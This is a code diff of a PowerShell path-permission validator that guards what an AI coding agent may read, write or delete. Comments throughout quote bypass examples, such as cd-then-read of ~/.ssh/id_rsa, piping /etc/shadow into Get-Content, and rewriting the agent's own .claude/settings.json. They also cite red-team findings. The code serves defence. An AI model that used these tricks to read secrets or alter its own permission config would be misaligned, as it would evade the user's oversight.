+    // Include digits in PSDrive name (bug #23): `New-PSDrive -Name 1 ...`
+    // creates drive `1:` — a valid PSDrive path prefix.
+    // Windows regex requires 2+ chars to exclude single-letter native drive letters
+    // (C:, D:). Use a single character class [a-z0-9] to catch mixed alphanumeric
+    // PSDrive names like `a1:`, `1a:` — the previous alternation `[a-z]{2,}|[0-9]+`
+    // missed those since `a1` is neither pure letters nor pure digits.
+    const providerPathRegex = getPlatform() === 'windows' ? /^[a-z0-9]{2,}:/i : /^[a-z0-9]+:/i;
+    if (providerPathRegex.test(normalizedPath)) {
+        return {
+            allowed: false,
+            resolvedPath: normalizedPath,
+            decisionReason: {
+                type: 'other',
+                reason: `Path '${normalizedPath}' uses a non-filesystem provider and requires manual approval`,
+            },
+        };
+    }
+    // SECURITY: Block glob patterns in write/create operations
+    if (GLOB_PATTERN_REGEX.test(normalizedPath)) {
+        if (operationType === 'write' || operationType === 'create') {
+            return {
+                allowed: false,
+                resolvedPath: normalizedPath,
+                decisionReason: {
+                    type: 'other',
+                    reason: 'Glob patterns are not allowed in write operations. Please specify an exact file path.',
+                },
+            };
+        }
+        // For read operations with path traversal (e.g., /project/*/../../../etc/shadow),
+        // resolve the full path (including glob chars) and validate that resolved path.
+        // This catches patterns that escape the working directory via `..` after the glob.
+        if (containsPathTraversal(normalizedPath)) {
+            const absolutePath = isAbsolute(normalizedPath)
+                ? normalizedPath
+                : resolve(cwd, normalizedPath);
+            const { resolvedPath, isCanonical } = safeResolvePath(getFsImplementation(), absolutePath);
+            const result = isPathAllowed(resolvedPath, toolPermissionContext, operationType, isCanonical ? [resolvedPath] : undefined);
+            return {
+                allowed: result.allowed,
+                resolvedPath,
+                decisionReason: result.decisionReason,
+            };
+        }
+        // SECURITY (finding #15): Glob patterns for read operations cannot be
+        // statically validated. getGlobBaseDirectory returns the directory before
+        // the first glob char; only that base is realpathed. Anything matched by
+        // the glob (including symlinks) is never examined. Example:
+        //   /project/*/passwd with symlink /project/link → /etc
+        // Base dir is /project (allowed), but runtime expands * to 'link' and
+        // reads /etc/passwd. We cannot validate symlinks inside glob expansion
+        // without actually expanding the glob (requires filesystem access and
+        // still races with attacker creating symlinks post-validation).
+        //
+        // Still check deny rules on the base directory so explicit Read(/project/**)
+        // deny rules fire. If no deny matches, force ask.
+        const basePath = getGlobBaseDirectory(normalizedPath);
+        const absoluteBasePath = isAbsolute(basePath)
+            ? basePath
+            : resolve(cwd, basePath);
+        const { resolvedPath } = safeResolvePath(getFsImplementation(), absoluteBasePath);
+        const permissionType = operationType === 'read' ? 'read' : 'edit';
+        const denyRule = matchingRuleForInput(resolvedPath, toolPermissionContext, permissionType, 'deny');
+        if (denyRule !== null) {
+            return {
+                allowed: false,
+                resolvedPath,
+                decisionReason: { type: 'rule', rule: denyRule },
+            };
+        }
+        return {
+            allowed: false,
+            resolvedPath,
+            decisionReason: {
+                type: 'other',
+                reason: 'Glob patterns in paths cannot be statically validated — symlinks inside the glob expansion are not examined. Requires manual approval.',
+            },
+        };
+    }
+    // Resolve path
+    const absolutePath = isAbsolute(normalizedPath)
+        ? normalizedPath
+        : resolve(cwd, normalizedPath);
+    const { resolvedPath, isCanonical } = safeResolvePath(getFsImplementation(), absolutePath);
+    const result = isPathAllowed(resolvedPath, toolPermissionContext, operationType, isCanonical ? [resolvedPath] : undefined);
+    return {
+        allowed: result.allowed,
+        resolvedPath,
+        decisionReason: result.decisionReason,
+    };
+}
+function getGlobBaseDirectory(filePath) {
+    const globMatch = filePath.match(GLOB_PATTERN_REGEX);
+    if (!globMatch || globMatch.index === undefined) {
+        return filePath;
+    }
+    const beforeGlob = filePath.substring(0, globMatch.index);
+    const lastSepIndex = Math.max(beforeGlob.lastIndexOf('/'), beforeGlob.lastIndexOf('\\'));
+    if (lastSepIndex === -1)
+        return '.';
+    return beforeGlob.substring(0, lastSepIndex + 1) || '/';
+}
+/**
+ * Element types that are safe to extract as literal path strings.
+ *
+ * Only element types with statically-known string values are safe for path
+ * extraction. Variable and ExpandableString have runtime-determined values —
+ * even though they're defended downstream ($ detection in validatePath's
+ * `includes('$')` check, and the hasExpandableStrings security flag), excluding
+ * them here is defense-in-direct: fail-safe at the earliest gate rather than
+ * relying on downstream checks to catch them.
+ *
+ * Any other type (e.g., 'Other' for ArrayLiteralExpressionAst, 'SubExpression',
+ * 'ScriptBlock', 'Variable', 'ExpandableString') cannot be statically validated
+ * and must force an ask.
+ */
+const SAFE_PATH_ELEMENT_TYPES = new Set(['StringConstant', 'Parameter']);
+/**
+ * Extract file paths from a parsed PowerShell command element.
+ * Uses the AST args to find positional and named path parameters.
+ *
+ * If any path argument has a complex elementType (e.g., array literal,
+ * subexpression) that cannot be statically validated, sets
+ * hasUnvalidatablePathArg so the caller can force an ask.
+ */
+function extractPathsFromCommand(cmd) {
+    const canonical = resolveToCanonical(cmd.name);
+    const config = CMDLET_PATH_CONFIG[canonical];
+    if (!config) {
+        return {
+            paths: [],
+            operationType: 'read',
+            hasUnvalidatablePathArg: false,
+            optionalWrite: false,
+        };
+    }
+    // Build per-cmdlet known-param sets, merging in common parameters.
+    const switchParams = [...config.knownSwitches, ...COMMON_SWITCHES];
+    const valueParams = [...config.knownValueParams, ...COMMON_VALUE_PARAMS];
+    const paths = [];
+    const args = cmd.args;
+    // elementTypes[0] is the command name; elementTypes[i+1] corresponds to args[i]
+    const elementTypes = cmd.elementTypes;
+    let hasUnvalidatablePathArg = false;
+    let positionalsSeen = 0;
+    const positionalSkip = config.positionalSkip ?? 0;
+    function checkArgElementType(argIdx) {
+        if (!elementTypes)
+            return;
+        const et = elementTypes[argIdx + 1];
+        if (et && !SAFE_PATH_ELEMENT_TYPES.has(et)) {
+            hasUnvalidatablePathArg = true;
+        }
+    }
+    // Extract named parameter values (e.g., -Path "C:\foo")
+    for (let i = 0; i < args.length; i++) {
+        const arg = args[i];
+        if (!arg)
+            continue;
+        // Check if this arg is a parameter name.
+        // SECURITY: Use elementTypes as ground truth. PowerShell's tokenizer
+        // accepts en-dash/em-dash/horizontal-bar (U+2013/2014/2015) as parameter
+        // prefixes; a raw startsWith('-') check misses `–Path` (en-dash). The
+        // parser maps CommandParameterAst → 'Parameter' regardless of dash char.
+        // isPowerShellParameter also correctly rejects quoted "-Include"
+        // (StringConstant, not a parameter).
+        const argElementType = elementTypes ? elementTypes[i + 1] : undefined;
+        if (isPowerShellParameter(arg, argElementType)) {
+            // Handle colon syntax: -Path:C:\secret
+            // Normalize Unicode dash to ASCII `-` (pathParams are stored with `-`).
+            const normalized = '-' + arg.slice(1);
+            const colonIdx = normalized.indexOf(':', 1); // skip first char (the dash)
+            const paramName = colonIdx > 0 ? normalized.substring(0, colonIdx) : normalized;
+            const paramLower = paramName.toLowerCase();
+            if (matchesParam(paramLower, config.pathParams)) {
+                // Known path parameter — extract its value as a path.
+                let value;
+                if (colonIdx > 0) {
+                    // Colon syntax: -Path:value — the whole thing is one element.
+                    // SECURITY: comma-separated values (e.g., -Path:safe.txt,/etc/passwd)
+                    // produce ArrayLiteralExpressionAst inside the CommandParameterAst.
+                    // PowerShell writes to ALL paths, but we see a single string.
+                    const rawValue = arg.substring(colonIdx + 1);
+                    if (hasComplexColonValue(rawValue)) {
+                        hasUnvalidatablePathArg = true;
+                    }
+                    else {
+                        value = rawValue;
+                    }
+                }
+                else {
+                    // Standard syntax: -Path value
+                    const nextVal = args[i + 1];
+                    const nextType = elementTypes ? elementTypes[i + 2] : undefined;
+                    if (nextVal && !isPowerShellParameter(nextVal, nextType)) {
+                        value = nextVal;
+                        checkArgElementType(i + 1);
+                        i++; // Skip the value
+                    }
+                }
+                if (value) {
+                    paths.push(value);
+                }
+            }
+            else if (config.leafOnlyPathParams &&
+                matchesParam(paramLower, config.leafOnlyPathParams)) {
+                // Leaf-only path parameter (e.g., New-Item -Name). PowerShell resolves
+                // this relative to ANOTHER parameter (-Path), not cwd. validatePath
+                // resolves against cwd (L930), so non-leaf values (separators,
+                // traversal) resolve to the WRONG location and can miss deny rules
+                // (deny→ask downgrade). Extract simple leaf filenames; flag anything
+                // path-like.
+                let value;
+                if (colonIdx > 0) {
+                    const rawValue = arg.substring(colonIdx + 1);
+                    if (hasComplexColonValue(rawValue)) {
+                        hasUnvalidatablePathArg = true;
+                    }
+                    else {
+                        value = rawValue;
+                    }
+                }
+                else {
+                    const nextVal = args[i + 1];
+                    const nextType = elementTypes ? elementTypes[i + 2] : undefined;
+                    if (nextVal && !isPowerShellParameter(nextVal, nextType)) {
+                        value = nextVal;
+                        checkArgElementType(i + 1);
+                        i++;
+                    }
+                }
+                if (value !== undefined) {
+                    if (value.includes('/') ||
+                        value.includes('\\') ||
+                        value === '.' ||
+                        value === '..') {
+                        // Non-leaf: separators or traversal. Can't resolve correctly
+                        // without joining against -Path. Force ask.
+                        hasUnvalidatablePathArg = true;
+                    }
+                    else {
+                        // Simple leaf: extract. Resolves to cwd/leaf (slightly wrong —
+                        // should be <-Path>/leaf) but -Path extraction covers the
+                        // directory, and a leaf filename can't traverse out of anywhere.
+                        paths.push(value);
+                    }
+                }
+            }
+            else if (matchesParam(paramLower, switchParams)) {
+                // Known switch parameter — takes no value, do NOT consume next arg.
+                // (Colon syntax on a switch, e.g., -Confirm:$false, is self-contained
+                // in one token and correctly falls through here without consuming.)
+            }
+            else if (matchesParam(paramLower, valueParams)) {
+                // Known value-taking non-path parameter (e.g., -Encoding UTF8, -Filter *.txt).
+                // Consume its value; do NOT validate as path, but DO check elementType.
+                // SECURITY: A Variable elementType (e.g., $env:ANTHROPIC_API_KEY) in any
+                // argument position means the runtime value is not statically knowable.
+                // Without this check, `-Value $env:SECRET` would be silently auto-allowed
+                // in acceptEdits mode because the Variable elementType was never examined.
+                if (colonIdx > 0) {
+                    // Colon syntax: -Value:$env:FOO — the value is embedded in the token.
+                    // The outer CommandParameterAst 'Parameter' type masks the inner
+                    // expression type. Check for expression markers that indicate a
+                    // non-static value (mirrors pathParams colon-syntax guards).
+                    const rawValue = arg.substring(colonIdx + 1);
+                    if (hasComplexColonValue(rawValue)) {
+                        hasUnvalidatablePathArg = true;
+                    }
+                }
+                else {
+                    const nextArg = args[i + 1];
+                    const nextArgType = elementTypes ? elementTypes[i + 2] : undefined;
+                    if (nextArg && !isPowerShellParameter(nextArg, nextArgType)) {
+                        checkArgElementType(i + 1);
+                        i++; // Skip the parameter's value
+                    }
+                }
+            }
+            else {
+                // Unknown parameter — we do not understand this invocation.
+                // SECURITY: This is the structural fix for the KNOWN_SWITCH_PARAMS
+                // whack-a-mole. Rather than guess whether this param is a switch
+                // (and risk swallowing a positional path) or takes a value (and
+                // risk the same), we flag the whole command as unvalidatable.
+                // The caller will force an ask.
+                hasUnvalidatablePathArg = true;
+                // SECURITY: Even though we don't recognize this param, if it uses
+                // colon syntax (-UnknownParam:/etc/hosts) the bound value might be
+                // a filesystem path. Extract it into paths[] so deny-rule matching
+                // still runs. Without this, the value is trapped inside the single
+                // token and paths=[] means deny rules are never consulted —
+                // downgrading deny to ask. This is defense-in-depth: the primary
+                // fix is adding all known aliases to pathParams above.
+                if (colonIdx > 0) {
+                    const rawValue = arg.substring(colonIdx + 1);
+                    if (!hasComplexColonValue(rawValue)) {
+                        paths.push(rawValue);
+                    }
+                }
+                // Continue the loop so we still extract any recognizable paths
+                // (useful for the ask message), but the flag ensures overall 'ask'.
+            }
+            continue;
+        }
+        // Positional arguments: extract as paths (e.g., Get-Content file.txt)
+        // The first positional arg is typically the source path.
+        // Skip leading positionals that are non-path values (e.g., iwr's -Uri).
+        if (positionalsSeen < positionalSkip) {
+            positionalsSeen++;
+            continue;
+        }
+        positionalsSeen++;
+        checkArgElementType(i);
+        paths.push(arg);
+    }
+    return {
+        paths,
+        operationType: config.operationType,
+        hasUnvalidatablePathArg,
+        optionalWrite: config.optionalWrite ?? false,
+    };
+}
+/**
+ * Checks path constraints for PowerShell commands.
+ * Extracts file paths from the parsed AST and validates they are
+ * within allowed directories.
+ *
+ * @param compoundCommandHasCd - Whether the full compound command contains a
+ *   cwd-changing cmdlet (Set-Location/Push-Location/Pop-Location/New-PSDrive,
+ *   excluding no-op Set-Location-to-CWD). When true, relative paths in ANY
+ *   statement cannot be trusted — PowerShell executes statements sequentially
+ *   and a cd in statement N changes the cwd for statement N+1, but this
+ *   validator resolves all paths against the stale Node process cwd.
+ *   BashTool parity (BashTool/pathValidation.ts:630-655).
+ *
+ * @returns
+ * - 'ask' if any path command tries to access outside allowed directories
+ * - 'deny' if a deny rule explicitly blocks the path
+ * - 'passthrough' if no path commands were found or all paths are valid
+ */
+export function checkPathConstraints(input, parsed, toolPermissionContext, compoundCommandHasCd = false) {
+    if (!parsed.valid) {
+        return {
+            behavior: 'passthrough',
+            message: 'Cannot validate paths for unparsed command',
+        };
+    }
+    // SECURITY: Two-pass approach — check ALL statements/paths so deny rules
+    // always take precedence over ask. Without this, an ask on statement 1
+    // could return before checking statement 2 for deny rules, letting the
+    // user approve a command that includes a denied path.
+    let firstAsk;
+    for (const statement of parsed.statements) {
+        const result = checkPathConstraintsForStatement(statement, toolPermissionContext, compoundCommandHasCd);
+        if (result.behavior === 'deny') {
+            return result;
+        }
+        if (result.behavior === 'ask' && !firstAsk) {
+            firstAsk = result;
+        }
+    }
+    return (firstAsk ?? {
+        behavior: 'passthrough',
+        message: 'All path constraints validated successfully',
+    });
+}
+function checkPathConstraintsForStatement(statement, toolPermissionContext, compoundCommandHasCd = false) {
+    const cwd = getCwd();
+    let firstAsk;
+    // SECURITY: BashTool parity — block path operations in compound commands
+    // containing a cwd-changing cmdlet (BashTool/pathValidation.ts:630-655).
+    //
+    // When the compound contains Set-Location/Push-Location/Pop-Location/
+    // New-PSDrive, relative paths in later statements resolve against the
+    // CHANGED cwd at runtime, but this validator resolves them against the
+    // STALE getCwd() snapshot. Example attack (finding #3):
+    //   Set-Location ./.claude; Set-Content ./settings.json '...'
+    // Validator sees ./settings.json → /project/settings.json (not a config file).
+    // Runtime writes /project/.claude/settings.json (Thaddeus's permission config).
+    //
+    // ALTERNATIVE APPROACH (rejected): simulate cwd through the statement chain
+    // — after `Set-Location ./.claude`, validate subsequent statements with
+    // cwd='./.claude'. This would be more permissive but requires careful
+    // handling of:
+    //   - Push-Location/Pop-Location stack semantics
+    //   - Set-Location with no args (→ home on some platforms)
+    //   - New-PSDrive root mapping (arbitrary filesystem root)
+    //   - Conditional/loop statements where cd may or may not execute
+    //   - Error cases where the cd target can't be statically determined
+    // For now we take the conservative approach of requiring manual approval.
+    //
+    // Unlike BashTool which gates on `operationType !== 'read'`, we also block
+    // READS (finding #27): `Set-Location ~; Get-Content ./.ssh/id_rsa` bypasses
+    // Read(~/.ssh/**) deny rules because the validator matched the deny against
+    // /project/.ssh/id_rsa. Reads from mis-resolved paths leak data just as
+    // writes destroy it. We still run deny-rule matching below (via firstAsk,
+    // not early return) so explicit deny rules on the stale-resolved path are
+    // honored — deny > ask in the caller's reduce.
+    if (compoundCommandHasCd) {
+        firstAsk = {
+            behavior: 'ask',
+            message: 'Compound command changes working directory (Set-Location/Push-Location/Pop-Location/New-PSDrive) — relative paths cannot be validated against the original cwd and require manual approval',
+            decisionReason: {
+                type: 'other',
+                reason: 'Compound command contains cd with path operation — manual approval required to prevent path resolution bypass',
+            },
+        };
+    }
+    // SECURITY: Track whether this statement contains a non-CommandAst pipeline
+    // element (string literal, variable, array expression). PowerShell pipes
+    // these values to downstream cmdlets, often binding to -Path. Example:
+    // `'/etc/passwd' | Remove-Item` — the string is piped to Remove-Item's -Path,
+    // but Remove-Item has no explicit args so extractPathsFromCommand returns
+    // zero paths and the command would passthrough. If ANY downstream cmdlet
+    // appears alongside an expression source, we force an ask — the piped
+    // path is unvalidatable regardless of operation type (reads leak data;
+    // writes destroy it).
+    let hasExpressionPipelineSource = false;
+    // Track the non-CommandAst element's text for deny-rule guessing (finding #23).
+    // `'.git/hooks/pre-commit' | Remove-Item` — path comes via pipeline, paths=[]
+    // from extractPathsFromCommand, so the deny loop below never iterates. We
+    // feed the pipeline-source text through checkDenyRuleForGuessedPath so
+    // explicit Edit(.git/**) deny rules still fire.
+    let pipelineSourceText;
+    for (const cmd of statement.commands) {
+        if (cmd.elementType !== 'CommandAst') {
+            hasExpressionPipelineSource = true;
+            pipelineSourceText = cmd.text;
+            continue;
+        }
+        const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } = extractPathsFromCommand(cmd);
+        // SECURITY: Cmdlet receiving piped path from expression source.
+        // `'/etc/shadow' | Get-Content` — Get-Content extracts zero paths
+        // (no explicit args). The path comes from the pipeline, which we cannot
+        // statically validate. Previously exempted reads (`operationType !== 'read'`),
+        // but that was a bypass (review comment 2885739292): reads from
+        // unvalidatable paths are still a security risk. Ask regardless of op type.
+        if (hasExpressionPipelineSource) {
+            const canonical = resolveToCanonical(cmd.name);
+            // SECURITY (finding #23): Before falling back to ask, check if the
+            // pipeline-source text matches a deny rule. `'.git/hooks/pre-commit' |
+            // Remove-Item` should DENY (not ask) when Edit(.git/**) is configured.
+            // Strip surrounding quotes (string literals are quoted in .text) and
+            // feed through the same deny-guess helper used for ::/backtick paths.
+            if (pipelineSourceText !== undefined) {
+                const stripped = pipelineSourceText.replace(/^['"]|['"]$/g, '');
+                const denyHit = checkDenyRuleForGuessedPath(stripped, cwd, toolPermissionContext, operationType);
+                if (denyHit) {
+                    return {
+                        behavior: 'deny',
+                        message: `${canonical} targeting '${denyHit.resolvedPath}' was blocked by a deny rule`,
+                        decisionReason: { type: 'rule', rule: denyHit.rule },
+                    };
+                }
+            }
+            firstAsk ??= {
+                behavior: 'ask',
+                message: `${canonical} receives its path from a pipeline expression source that cannot be statically validated and requires manual approval`,
+            };
+            // Don't continue — fall through to path loop so deny rules on
+            // extracted paths are still checked.
+        }
+        // SECURITY: Array literals, subexpressions, and other complex
+        // argument types cannot be statically validated. An array literal
+        // like `-Path ./safe.txt, /etc/passwd` produces a single 'Other'
+        // element whose combined text may resolve within CWD while
+        // PowerShell actually writes to ALL paths in the array.
+        if (hasUnvalidatablePathArg) {
+            const canonical = resolveToCanonical(cmd.name);
+            firstAsk ??= {
+                behavior: 'ask',
+                message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`,
+            };
+            // Don't continue — fall through to path loop so deny rules on
+            // extracted paths are still checked.
+        }
+        // SECURITY: Write cmdlet in CMDLET_PATH_CONFIG that extracted zero paths.
+        // Either (a) the cmdlet has no args at all (`Remove-Item` alone —
+        // PowerShell will error, but we shouldn't optimistically assume that), or
+        // (b) we failed to recognize the path among the args (shouldn't happen
+        // with the unknown-param fail-safe, but defense-in-depth). Conservative:
+        // write operation with no validated target → ask.
+        // Read cmdlets and pop-location (pathParams: []) are exempt.
+        // optionalWrite cmdlets (Invoke-WebRequest/Invoke-RestMethod without
+        // -OutFile) are ALSO exempt — they only write to disk when a pathParam is
+        // present; without one, output goes to the pipeline. The
+        // hasUnvalidatablePathArg check above already covers unknown-param cases.
+        if (operationType !== 'read' &&
+            !optionalWrite &&
+            paths.length === 0 &&
+            CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)]) {
+            const canonical = resolveToCanonical(cmd.name);
+            firstAsk ??= {
+                behavior: 'ask',
+                message: `${canonical} is a write operation but no target path could be determined; requires manual approval`,
+            };
+            continue;
+        }
+        // SECURITY: bash-parity hard-deny for removal cmdlets on
+        // system-critical paths. BashTool has isDangerousRemovalPath which
+        // hard-DENIES `rm /`, `rm ~`, `rm /etc`, etc. regardless of user config.
+        // Port: remove-item (and aliases rm/del/ri/rd/rmdir/erase → resolveToCanonical)
+        // on a dangerous path → deny (not ask). User cannot approve system32 deletion.
+        const isRemoval = resolveToCanonical(cmd.name) === 'remove-item';
+        for (const filePath of paths) {
+            // Hard-deny removal of dangerous system paths (/, ~, /etc, etc.).
+            // Check the RAW path (pre-realpath) first: safeResolvePath can
+            // canonicalize '/' → 'C:\' (Windows) or '/var/...' → '/private/var/...'
+            // (macOS) which defeats isDangerousRemovalPath's string comparisons.
+            if (isRemoval && isDangerousRemovalRawPath(filePath)) {
+                return dangerousRemovalDeny(filePath);
+            }
+            const { allowed, resolvedPath, decisionReason } = validatePath(filePath, cwd, toolPermissionContext, operationType);
+            // Also check the resolved path — catches symlinks that resolve to a
+            // protected location.
+            if (isRemoval && isDangerousRemovalPath(resolvedPath)) {
+                return dangerousRemovalDeny(resolvedPath);
+            }
+            if (!allowed) {
+                const canonical = resolveToCanonical(cmd.name);
+                const workingDirs = Array.from(allWorkingDirectories(toolPermissionContext));
+                const dirListStr = formatDirectoryList(workingDirs);
+                const message = decisionReason?.type === 'other' ||
+                    decisionReason?.type === 'safetyCheck'
+                    ? decisionReason.reason
+                    : `${canonical} targeting '${resolvedPath}' was blocked. For security, Thaddeus may only access files in the allowed working directories for this session: ${dirListStr}.`;
+                if (decisionReason?.type === 'rule') {
+                    return {
+                        behavior: 'deny',
+                        message,
+                        decisionReason,
+                    };
+                }
+                const suggestions = [];
+                if (resolvedPath) {
+                    if (operationType === 'read') {
+                        const suggestion = createReadRuleSuggestion(getDirectoryForPath(resolvedPath), 'session');
+                        if (suggestion) {
+                            suggestions.push(suggestion);
+                        }
+                    }
+                    else {
+                        suggestions.push({
+                            type: 'addDirectories',
+                            directories: [getDirectoryForPath(resolvedPath)],
+                            destination: 'session',
+                        });
+                    }
+                }
+                if (operationType === 'write' || operationType === 'create') {
+                    suggestions.push({
+                        type: 'setMode',
+                        mode: 'acceptEdits',
+                        destination: 'session',
+                    });
+                }
+                firstAsk ??= {
+                    behavior: 'ask',
+                    message,
+                    blockedPath: resolvedPath,
+                    decisionReason,
+                    suggestions,
+                };
+            }
+        }
+    }
+    // Also check nested commands from control flow
+    if (statement.nestedCommands) {
+        for (const cmd of statement.nestedCommands) {
+            const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } = extractPathsFromCommand(cmd);
+            if (hasUnvalidatablePathArg) {
+                const canonical = resolveToCanonical(cmd.name);
+                firstAsk ??= {
+                    behavior: 'ask',
+                    message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`,
+                };
+                // Don't continue — fall through to path loop for deny checks.
+            }
+            // SECURITY: Write cmdlet with zero extracted paths (mirrors main loop).
+            // optionalWrite cmdlets exempt — see main-loop comment.
+            if (operationType !== 'read' &&
+                !optionalWrite &&
+                paths.length === 0 &&
+                CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)]) {
+                const canonical = resolveToCanonical(cmd.name);
+                firstAsk ??= {
+                    behavior: 'ask',
+                    message: `${canonical} is a write operation but no target path could be determined; requires manual approval`,
+                };
+                continue;
+            }
+            // SECURITY: bash-parity hard-deny for removal on system-critical
+            // paths — mirror the main-loop check above. Without this,
+            // `if ($true) { Remove-Item / }` routes through nestedCommands and
+            // downgrades deny→ask, letting the user approve root deletion.
+            const isRemoval = resolveToCanonical(cmd.name) === 'remove-item';
+            for (const filePath of paths) {
+                // Check the RAW path first (pre-realpath); see main-loop comment.
+                if (isRemoval && isDangerousRemovalRawPath(filePath)) {
+                    return dangerousRemovalDeny(filePath);
+                }
+                const { allowed, resolvedPath, decisionReason } = validatePath(filePath, cwd, toolPermissionContext, operationType);
+                if (isRemoval && isDangerousRemovalPath(resolvedPath)) {
+                    return dangerousRemovalDeny(resolvedPath);
+                }
+                if (!allowed) {
+                    const canonical = resolveToCanonical(cmd.name);
+                    const workingDirs = Array.from(allWorkingDirectories(toolPermissionContext));
+                    const dirListStr = formatDirectoryList(workingDirs);
+                    const message = decisionReason?.type === 'other' ||
+                        decisionReason?.type === 'safetyCheck'
+                        ? decisionReason.reason
+                        : `${canonical} targeting '${resolvedPath}' was blocked. For security, Thaddeus may only access files in the allowed working directories for this session: ${dirListStr}.`;
+                    if (decisionReason?.type === 'rule') {
+                        return {
+                            behavior: 'deny',
+                            message,
+                            decisionReason,
+                        };
+                    }
+                    const suggestions = [];
+                    if (resolvedPath) {
+                        if (operationType === 'read') {
+                            const suggestion = createReadRuleSuggestion(getDirectoryForPath(resolvedPath), 'session');
+                            if (suggestion) {
+                                suggestions.push(suggestion);
+                            }
+                        }
+                        else {
+                            suggestions.push({
+                                type: 'addDirectories',
+                                directories: [getDirectoryForPath(resolvedPath)],
+                                destination: 'session',
+                            });
+                        }
+                    }
+                    if (operationType === 'write' || operationType === 'create') {
+                        suggestions.push({
+                            type: 'setMode',
+                            mode: 'acceptEdits',
+                            destination: 'session',
+                        });
+                    }
+                    firstAsk ??= {
+                        behavior: 'ask',
+                        message,
+                        blockedPath: resolvedPath,
+                        decisionReason,
+                        suggestions,
+                    };
+                }
+            }
+            // Red-team P11/P14: step 5 at powershellPermissions.ts:970 already
+            // catches this via the same synthetic-CommandExpressionAst mechanism —
+            // this is belt-and-suspenders so the nested loop doesn't rely on that
+            // accident. Placed AFTER the path loop so specific asks (blockedPath,
+            // suggestions) win via ??=.
+            if (hasExpressionPipelineSource) {
+                firstAsk ??= {
+                    behavior: 'ask',
+                    message: `${resolveToCanonical(cmd.name)} appears inside a control-flow or chain statement where piped expression sources cannot be statically validated and requires manual approval`,
+                };
+            }
+        }
+    }
+    // Check redirections on nested commands (e.g., from && / || chains)
+    if (statement.nestedCommands) {
+        for (const cmd of statement.nestedCommands) {
+            if (cmd.redirections) {
+                for (const redir of cmd.redirections) {
+                    if (redir.isMerging)
+                        continue;
+                    if (!redir.target)
+                        continue;
+                    if (isNullRedirectionTarget(redir.target))
+                        continue;
+                    const { allowed, resolvedPath, decisionReason } = validatePath(redir.target, cwd, toolPermissionContext, 'create');
+                    if (!allowed) {
+                        const workingDirs = Array.from(allWorkingDirectories(toolPermissionContext));
+                        const dirListStr = formatDirectoryList(workingDirs);
+                        const message = decisionReason?.type === 'other' ||
+                            decisionReason?.type === 'safetyCheck'
+                            ? decisionReason.reason
+                            : `Output redirection to '${resolvedPath}' was blocked. For security, Thaddeus may only write to files in the allowed working directories for this session: ${dirListStr}.`;
+                        if (decisionReason?.type === 'rule') {
+                            return {
+                                behavior: 'deny',
+                                message,
+                                decisionReason,
+                            };
+                        }
+                        firstAsk ??= {
+                            behavior: 'ask',
+                            message,
+                            blockedPath: resolvedPath,
+                            decisionReason,
+                            suggestions: [
+                                {
+                                    type: 'addDirectories',
+                                    directories: [getDirectoryForPath(resolvedPath)],
+                                    destination: 'session',
+                                },
+                            ],
+                        };
+                    }
+                }
+            }
+        }
+    }
+    // Check file redirections
+    if (statement.redirections) {
+        for (const redir of statement.redirections) {
+            if (redir.isMerging)
+                continue;
+            if (!redir.target)
+                continue;
+            if (isNullRedirectionTarget(redir.target))
+                continue;
+            const { allowed, resolvedPath, decisionReason } = validatePath(redir.target, cwd, toolPermissionContext, 'create');
+            if (!allowed) {
+                const workingDirs = Array.from(allWorkingDirectories(toolPermissionContext));
+                const dirListStr = formatDirectoryList(workingDirs);
+                const message = decisionReason?.type === 'other' ||
+                    decisionReason?.type === 'safetyCheck'
+                    ? decisionReason.reason
+                    : `Output redirection to '${resolvedPath}' was blocked. For security, Thaddeus may only write to files in the allowed working directories for this session: ${dirListStr}.`;
+                if (decisionReason?.type === 'rule') {
+                    return {
+                        behavior: 'deny',
+                        message,
+                        decisionReason,
+                    };
+                }
+                firstAsk ??= {
+                    behavior: 'ask',
+                    message,
+                    blockedPath: resolvedPath,
+                    decisionReason,
+                    suggestions: [
+                        {
+                            type: 'addDirectories',
+                            directories: [getDirectoryForPath(resolvedPath)],
+                            destination: 'session',
+                        },
+                    ],
+                };
+            }
+        }
+    }
+    return (firstAsk ?? {
+        behavior: 'passthrough',
+        message: 'All path constraints validated successfully',
+    });
+}